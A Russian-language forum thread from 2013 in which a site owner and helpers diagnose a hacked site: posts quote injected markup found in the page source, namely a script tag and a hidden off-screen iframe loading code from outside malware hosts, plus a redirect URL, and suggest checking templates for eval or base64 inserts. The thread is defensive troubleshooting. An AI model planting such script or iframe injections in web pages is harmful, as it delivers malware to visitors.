Как такое может быть? где искать вирус?

ЕСТЬ РЕШЕНИЕ ЗАКРЫТО
#1 29 января 2013 в 16:42
при открытии этой статьи антивирусник ругается. другие статьи и разделы открывает нормально. как такое может быть и где искать вирус?
подскажите кто сталкивался.
#2 29 января 2013 в 17:01
У меня каспер промолчал, правда фокс отключил яву
  1. </html><script src="http://mkxufuz.ns2.name/js/rsize.js"></script>
что за бяка?
#3 29 января 2013 в 17:12
похакали маленько😊файл шаблона проверяйте, в самом конце должна быть вставка чужеродная, возможно начинается с eval или base64
#4 29 января 2013 в 17:14


при открытии этой статьи

nedoriko

почему только этой статьи, скрипт идет через весь сайт. а выводит он вот это
  1. <b><div id="pftgfkz"><iframe width="6" height="10" style="position: absolute; left: -1000px; top: -1000px; z-index: 1;" src="http://mkxufuz.ns2.name/advjump/2"></iframe></div></b>
#5 29 января 2013 в 17:17
да в конечном итоге пытается вывести на testru-online.ru/in/?pid=4&lid=76&
page=/gta5/&p=0&s=13606 не нажимать без антивируса!, ковыряйте шаблоны и индексные файлы.
#6 29 января 2013 в 17:31

почему только этой статьи,

StaryiSV
у меня он другие открывает без проблем.

файл шаблона проверяйте, в самом конце должна быть вставка чужеродная, возможно начинается с eval или base64

picaboo

<!-- /Yandex.Metrika counter --> </html>

вот так у меня он заканчивается.
#7 29 января 2013 в 18:10
nedoriko, ну телепатически сложно найти где инклюд идет. надо смотреть внимательно все шаблоны, index.php или может плагин какой внедряет или компонент. если не справитесь сами — пишите ftp в личку, посмотрю.
#8 29 января 2013 в 18:12

У меня каспер промолчал, правда фокс отключил яву
Код HTML:
</html><script src="http://mkxufuz.ns2.name/js/rsize.js"></script>
что за бяка?

googlebot
а эту бяку я вчера уще удалин.
#9 29 января 2013 в 19:09
попробуйте revisium.com/ai/
не помню кто давал эту ссылку, но она мне очень помогла
#10 29 января 2013 в 20:20
Проблемы ПРи открытии ТОЛЬКО этой статьи? Ну как миниму посмотреть исходный код в базе.Найти статью В cmc_content
(найти эту статью) phpmyadmin ->редактировать запись. И просмотреть весь исходный код (в базе)этой записи, вот там зарыты все клады!
#11 29 января 2013 в 20:35
#12 29 января 2013 в 20:57

Нормальная страница.
Фреймы нет .
А кто поручиться за это
  1. <script type="text/javascript" src="/templates/chutveselej/js/jquery.cookie.js"></script>
может быть
#13 29 января 2013 в 21:20
Может уже решена
  1. src="h t t p ://mkxufuz.ns2.name/advjump/2"
Не прослежен.
Это старая и уже не адеквантная модификация "marcuz" китайцы рулят лет 5.Заражается обычно весь сервис бесплатного хостинга.Искать вину в системе? Желательно показать в теме и разбор полетов.
#14 29 января 2013 в 23:20
Вот таки методами хостер навязывает много проблем.Посмотри внизу страницы (исходный код страницы)после закрывающего тег HTML увидиш
  1. </html><script src="http://vieofqa.ddns.name/js/rsize.js"></script>
.
Не найти его нигде, ни в файлах, ни в базе.
Вот это и есть "ГРОМАДНАЯ УСЛУГА" твоего хостера.
#15 30 января 2013 в 02:16

Проблемы ПРи открытии ТОЛЬКО этой статьи?

oll
да

исходный код в базе.Найти статью В cmc_content

oll
нашел. в ней ничего лишнего. там даже кода нету.

А кто поручиться за это

oll
а что там можно сделать? обычный файл.
/**
* Cookie plugin
*
* Copyright © 2006 Klaus Hartl (stilbuero.de)
* Dual licensed under the MIT and GPL licenses:
* www.opensource.org/licenses/mit-license.php
* www.gnu.org/licenses/gpl.html
*
*/

/**
* Create a cookie with the given name and value and other optional parameters.
*
* @example $.cookie('the_cookie', 'the_value');
* @desc Set the value of a cookie.
* @example $.cookie('the_cookie', 'the_value', { expires: 7, path: '/', domain: 'jquery.com', secure: true });
* @desc Create a cookie with all available options.
* @example $.cookie('the_cookie', 'the_value');
* @desc Create a session cookie.
* @example $.cookie('the_cookie', null);
* @desc Delete a cookie by passing null as value. Keep in mind that you have to use the same path and domain
* used when the cookie was set.
*
* @param String name The name of the cookie.
* @param String value The value of the cookie.
* @param Object options An object literal containing key/value pairs to provide optional cookie attributes.
* @option Number|Date expires Either an integer specifying the expiration date from now on in days or a Date object.
* If a negative value is specified (e.g. a date in the past), the cookie will be deleted.
* If set to null or omitted, the cookie will be a session cookie and will not be retained
* when the the browser exits.
* @option String path The value of the path atribute of the cookie (default: path of page that created the cookie).
* @option String domain The value of the domain attribute of the cookie (default: domain of page that created the cookie).
* @option Boolean secure If true, the secure attribute of the cookie will be set and the cookie transmission will
* require a secure protocol (like HTTPS).
* @type undefined
*
* @name $.cookie
* @cat Plugins/Cookie
* @author Klaus Hartl/klaus.hartl@stilbuero.de
*/

/**
* Get the value of a cookie with the given name.
*
* @example $.cookie('the_cookie');
* @desc Get the value of a cookie.
*
* @param String name The name of the cookie.
* @return The value of the cookie.
* @type String
*
* @name $.cookie
* @cat Plugins/Cookie
* @author Klaus Hartl/klaus.hartl@stilbuero.de
*/
jQuery.cookie = function(name, value, options) {
if (typeof value != 'undefined') { // name and value given, set cookie
options = options || {};
if (value === null) {
value = '';
options.expires = -1;
}
var expires = '';
if (options.expires && (typeof options.expires == 'number' || options.expires.toUTCString)) {
var date;
if (typeof options.expires == 'number') {
date = new Date();
date.setTime(date.getTime() + (options.expires * 24 * 60 * 60 * 1000));
} else {
date = options.expires;
}
expires = '; expires=' + date.toUTCString(); // use expires attribute, max-age is not supported by IE
}
// CAUTION: Needed to parenthesize options.path and options.domain
// in the following expressions, otherwise they evaluate to undefined
// in the packed version for some reason...
var path = options.path? '; path=' + (options.path): '';
var domain = options.domain? '; domain=' + (options.domain): '';
var secure = options.secure? '; secure': '';
document.cookie = [name, '=', encodeURIComponent(value), expires, path, domain, secure].join('');
} else { // only name given, get cookie
var cookieValue = null;
if (document.cookie && document.cookie != '') {
var cookies = document.cookie.split(';');
for (var i = 0; i < cookies.length; i++) {
var cookie = jQuery.trim(cookies);
// Does this cookie string begin with the name we want?
if (cookie.substring(0, name.length + 1) == (name + '=')) {
cookieValue = decodeURIComponent(cookie.substring(name.length + 1));
break;
}
}
}
return cookieValue;
}
};

Может уже решена

oll
у меня попрежнему тренд ругается
Используя этот сайт, вы соглашаетесь с тем, что мы используем файлы cookie.